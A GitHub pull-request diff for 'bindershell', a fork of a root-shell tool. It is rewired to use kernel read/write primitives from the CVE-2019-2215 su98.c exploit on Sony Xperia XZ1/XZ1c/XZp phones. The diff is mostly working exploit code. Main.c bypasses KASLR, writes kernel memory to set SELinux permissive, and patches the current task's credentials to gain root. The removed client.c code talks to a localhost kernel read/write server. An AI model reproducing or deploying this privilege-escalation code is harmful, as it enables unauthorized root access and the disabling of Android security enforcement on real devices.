Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
12 changes: 5 additions & 7 deletions README.md
Original file line number Diff line number Diff line change
@@ -1,9 +1,7 @@
# renoshell - rename/notify temp root shell
# bindershell - temp root shell using CVE-2019-2215 for sony xperia xz1/xz1c/xzp phones

A get root shell tool using remote arbitrary kernel space read and write api,
which needs to be provided by another tool with an actual kernel exploit.
This is forked from [iovyroot by dosomder](https://github.com/dosomder/iovyroot.git),
replacing dependency on a specific vulnerability with a remote arbitrary
kernel space read/write primitives.
The code was debugged, fixed and adapted to be compatible with 4.4.74 kernel
from xperia xz1c 47.1.A.2.324 android oreo firmware (includes selinux bypass).
replacing the kernel space read/write primitives with those from CVE-2019-2215 su98.c exploit.
The original su98.c did not properly patch security->sid and security->osid and did not include KASLR bypass.
To get the sid and osid patching, it was easier to port just the primitives from su98 here.
This code is compatible with several oreo firmwares of xperia xz1/xz1c/xzp phones (yoshino platform).
6 changes: 3 additions & 3 deletions jni/Android.mk
Original file line number Diff line number Diff line change
Expand Up @@ -3,10 +3,10 @@ LOCAL_PATH := $(call my-dir)
include $(CLEAR_VARS)

LOCAL_ARM_MODE := arm
LOCAL_CFLAGS := -O3 -DNDEBUG --all-warnings --extra-warnings -D_GNU_SOURCE
LOCAL_CFLAGS := -O2 -DNDEBUG -D_GNU_SOURCE
LOCAL_C_INCLUDES := $(LOCAL_PATH)/include/

LOCAL_MODULE := renoshell
LOCAL_SRC_FILES := main.c getroot.c flex_array.c sid.c offsets.c client.c
LOCAL_MODULE := bindershell
LOCAL_SRC_FILES := main.c getroot.c flex_array.c sid.c offsets.c client.c su98.c

include $(BUILD_EXECUTABLE)
146 changes: 4 additions & 142 deletions jni/client.c
Original file line number Diff line number Diff line change
Expand Up @@ -11,154 +11,16 @@
#define PAGE_SIZE 4096
#endif

int run_server_command(int port, int cmd, uint64_t addr, int size, void *buff)
{
int fd, ret, status;
uint8_t *buffer = buff;
unsigned offs;
struct sockaddr_in saddr;
struct t_cmd tc;

if (size > PAGE_SIZE)
return -1;

fd = socket(AF_INET, SOCK_STREAM, 0);
if (fd < 0) {
PRNO("socket");
return -1;
}

memset(&saddr, 0, sizeof(saddr));
saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
saddr.sin_family = AF_INET;
saddr.sin_port = htons(port);
if (connect(fd, (struct sockaddr *)&saddr, sizeof(saddr)) < 0) {
PRNO("connect");
close(fd);
return -1;
}

PDBG("connected to cmd server, sending cmd=%d addr=0x%016zx size=%d\n", cmd, addr, size);

tc.cmd = cmd;
tc.addr = addr;
tc.size = size;

ret = write(fd, &tc, sizeof(tc));
if (ret < 0) {
PRNO("client cmd write");
close(fd);
return -1;
} else if (ret < (int)sizeof(ret)) {
PERR("client cmd write %d bytes instead of %d expected\n", ret, (int)sizeof(tc));
close(fd);
return -1;
}

status = 0;

switch (cmd) {
case CMD_QUIT:
break;

case CMD_READ:
case CMD_GET_TASKP:
case CMD_GET_KASLR:
ret = read(fd, &status, sizeof(status));
if (ret < 0) {
PRNO("client krd cmd status read");
close(fd);
return -1;
} else if (ret < (int)sizeof(status)) {
PERR("client krd cmd status read %d bytes instead of %d expected\n", ret, (int)sizeof(status));
close(fd);
return -1;
}
if (size != status) {
PERR("client krd read status=%d expected %d\n", status, size);
if (status < 1) {
close(fd);
return status;
}
size = status;
}
offs = 0;
do {
ret = read(fd, buffer + offs, size - offs);
if (ret < 0) {
PRNO("client read data");
break;
} else if (ret == 0) {
PERR("client read data got 0 number of bytes\n");
break;
}
offs += ret;
} while ((int)offs < size);
if ((int)offs < size) {
PERR("client read %d bytes instead of %u expected\n", offs, size);
close(fd);
return offs > 0 ? offs : -1;
}
PDBG("client read %u bytes from 0x%016zx kernel addr\n", size, addr);
break;

case CMD_WRITE:
ret = write(fd, buffer, size);
if (ret < 0) {
PRNO("client write data");
close(fd);
return -1;
} else if (ret < size) {
PERR("client write data %d bytes instead of %d expected\n", ret, size);
close(fd);
return -1;
}
ret = read(fd, &status, sizeof(status));
if (ret < 0) {
PRNO("client kwr cmd status read");
close(fd);
return -1;
} else if (ret < (int)sizeof(status)) {
PERR("client kwr cmd status read %d bytes instead of %d expected\n", ret, (int)sizeof(status));
close(fd);
return -1;
}
if (size != status) {
PERR("client kwr read status=%d expected %d\n", status, size);
if (status < 1) {
close(fd);
return status;
}
}
PDBG("client wrote %u bytes to 0x%016zx kernel addr\n", status, addr);
break;
};

close(fd);
return status;
}
int raw_kernel_write(unsigned long kaddr, void *buf, unsigned long len);
int raw_kernel_read(unsigned long kaddr, void *buf, unsigned long len);

int client_arbitrary_read(uint64_t addr, int size, void *buffer)
{
return run_server_command(CMD_SERVER_PORT, CMD_READ, addr, size, buffer) == size ? 0 : -1;
return raw_kernel_read(addr, buffer, size) == size ? 0 : -1;
}

int client_arbitrary_write(uint64_t addr, int size, void *buffer)
{
return run_server_command(CMD_SERVER_PORT, CMD_WRITE, addr, size, buffer) == size ? 0 : -1;
}

int client_curr_get_task_struct_p(uint64_t *addr)
{
return run_server_command(CMD_SERVER_PORT, CMD_GET_TASKP, 0, sizeof(*addr), addr) == sizeof(*addr) ? 0 : -1;
return raw_kernel_write(addr, buffer, size) == size ? 0 : -1;
}

int client_curr_get_kaslr(uint64_t *addr)
{
return run_server_command(CMD_SERVER_PORT, CMD_GET_KASLR, 0, sizeof(addr), addr) == 8 ? 0 : -1;
}

void client_report_uid(int uid)
{
run_server_command(CMD_SERVER_PORT, CMD_REPORT_UID, uid, 0, NULL);
}
4 changes: 0 additions & 4 deletions jni/client.h
Original file line number Diff line number Diff line change
Expand Up @@ -4,8 +4,4 @@
int client_arbitrary_read(uint64_t addr, int size, void *buffer);
int client_arbitrary_write(uint64_t addr, int size, void *buffer);

int client_curr_get_task_struct_p(uint64_t *addr);
int client_curr_get_kaslr(uint64_t *addr);
void client_report_uid(int uid);

#endif
2 changes: 1 addition & 1 deletion jni/include/offsets.h
Original file line number Diff line number Diff line change
Expand Up @@ -5,9 +5,9 @@ struct offsets {
char *targetid; // model_fwversion
void* sidtab; // for selinux contenxt
void* policydb; // for selinux context
void* selinux_enabled;
void* selinux_enforcing;
void *init_task;
void *init_user_ns;
};

struct offsets* get_offsets();
Expand Down
122 changes: 44 additions & 78 deletions jni/main.c
Original file line number Diff line number Diff line change
Expand Up @@ -25,82 +25,34 @@
#include "client.h"
#include "debug.h"

uint64_t opt_kaslr_slide;
const char *my_task_name;

#define TASK_STRUCT_NEXT_OFFSET 0x0478
#define TASK_STRUCT_PID_OFFSET 0x0570
#define TASK_STRUCT_TSP_OFFSET 0x06e0

int get_my_task_struct_p(struct offsets *o, void **ptask)
{
int ret;
int tsp_offset;
struct task_struct_partial *__kernel t;
struct task_struct_partial tsp;
void *__kernel task = o->init_task;
void *__kernel next;
pid_t my_pid, pid;

ret = -1;
my_pid = getpid();
tsp_offset = get_task_struct_partial_offset(task);
if (tsp_offset < 0)
return ret;
do {
if(read_at_address_pipe(task + TASK_STRUCT_PID_OFFSET, &pid, sizeof(pid)))
break;
t = (struct task_struct_partial *)(task + tsp_offset);
if(read_at_address_pipe(t, &tsp, sizeof(tsp)))
break;
if (strcmp(tsp.comm, my_task_name) == 0 && my_pid == pid) {
ret = 0;
*ptask = task;
break;
}
if(read_at_address_pipe(task + TASK_STRUCT_NEXT_OFFSET, &next, sizeof(next)))
break;
task = next - TASK_STRUCT_NEXT_OFFSET;
} while (ret < 0 && task != o->init_task);
#define TASK_STRUCT_MM_OFFSET 1224
#define MM_STRUCT_USER_NS_OFFSET 752

return ret;
}
uint64_t opt_kaslr_slide;

int getroot(struct offsets* o)
int getroot(struct offsets* o, uint64_t current_task_addr)
{
int ret = 1;
void * __kernel task;
int tsp_offset;
void * __kernel task = (void *)current_task_addr;
int zero = 0;

sidtab = o->sidtab;
policydb = o->policydb;

task = NULL;

if (client_curr_get_task_struct_p((uint64_t *)&task) < 0)
return ret;
tsp_offset = get_task_struct_partial_offset(task);
if (tsp_offset < 0)
return ret;

if (tsp_offset != TASK_STRUCT_TSP_OFFSET)
PNFO("tsp_offset=0x%04x\n", tsp_offset);

if (get_my_task_struct_p(o, &task) < 0)
return ret;
PNFO("task_struct %p\n", task);

// we need first to disable selinux completely otherwise tcp communication
// with our exploit server seems to get denied with user switching to root uid
if(o->selinux_enabled)
write_at_address_pipe(o->selinux_enabled, &zero, sizeof(zero));
if(o->selinux_enforcing)
write_at_address_pipe(o->selinux_enforcing, &zero, sizeof(zero));
if(o->selinux_enforcing) {
ret = write_at_address_pipe(o->selinux_enforcing, &zero, sizeof(zero));
if (ret == 0)
PNFO("selinux set to permissive\n");
else
PERR("failed to set selinux permissive\n");
}

if((ret = modify_task_cred_uc(task)))
if((ret = modify_task_cred_uc(task))) {
PERR("failed to modify current task credentials\n");
goto end;
}

PNFO("current task credentials patched\n");
ret = 0;
end:
return ret;
Expand All @@ -110,45 +62,59 @@ void reenable_selinux(struct offsets* o)
{
int one = 1;

if(o->selinux_enabled)
write_at_address_pipe(o->selinux_enabled, &one, sizeof(one));
if(o->selinux_enforcing)
write_at_address_pipe(o->selinux_enforcing, &one, sizeof(one));
}

int cve_2019_2215_0x98(uint64_t *current_task_addr);

int main(int argc, char **argv)
{
int ret = 1;
struct offsets* o;
int uid;
uint64_t current_task_addr;
uint64_t addr;

PNFO("\nrenoshell - rename/notify temp root shell\n");
PNFO("https://github.com/j4nn/renoshell/\n\n");
PNFO("\nbindershell - temp root shell for xperia XZ1c/XZ1/XZp using CVE-2019-2215\n");
PNFO("https://github.com/j4nn/renoshell/tree/CVE-2019-2215\n\n");

my_task_name = strrchr(argv[0], '/');
if (my_task_name != NULL)
my_task_name++;
else
my_task_name = argv[0];
if (cve_2019_2215_0x98(&current_task_addr) != 0) {
PERR("cve_2019_2215_0x98() failed\n");
return 1;
}

if(!(o = get_offsets(0)))
return 1;

ret = read_at_address_pipe((void *)(current_task_addr + TASK_STRUCT_MM_OFFSET), &addr, sizeof(addr));
if (ret == 0) {
ret = read_at_address_pipe((void *)(addr + MM_STRUCT_USER_NS_OFFSET), &addr, sizeof(addr));
if (ret == 0) {
addr -= (uint64_t)o->init_user_ns;
if (addr & 0xffful) {
PERR("kernel slide invalid (0x%zx)\n", addr);
} else
opt_kaslr_slide = addr;
}
}

if (client_curr_get_kaslr(&opt_kaslr_slide) == 0)
PNFO("kaslr slide 0x%zx\n", opt_kaslr_slide);
PNFO("kaslr slide 0x%zx\n", opt_kaslr_slide);

if(!(o = get_offsets(opt_kaslr_slide)))
return 1;

if (argc > 1 && strcmp(argv[1], "--reenable-selinux") == 0) {
reenable_selinux(o);
PNFO("selinux_enabled and selinux_enforcing set to 1\n");
PNFO("selinux_enforcing set to 1\n");
return 0;
}

ret = getroot(o);
ret = getroot(o, current_task_addr);
if (ret)
return ret;

uid = getuid();
client_report_uid(uid);

if (uid == 0) {
pid_t pid;
Expand Down
Loading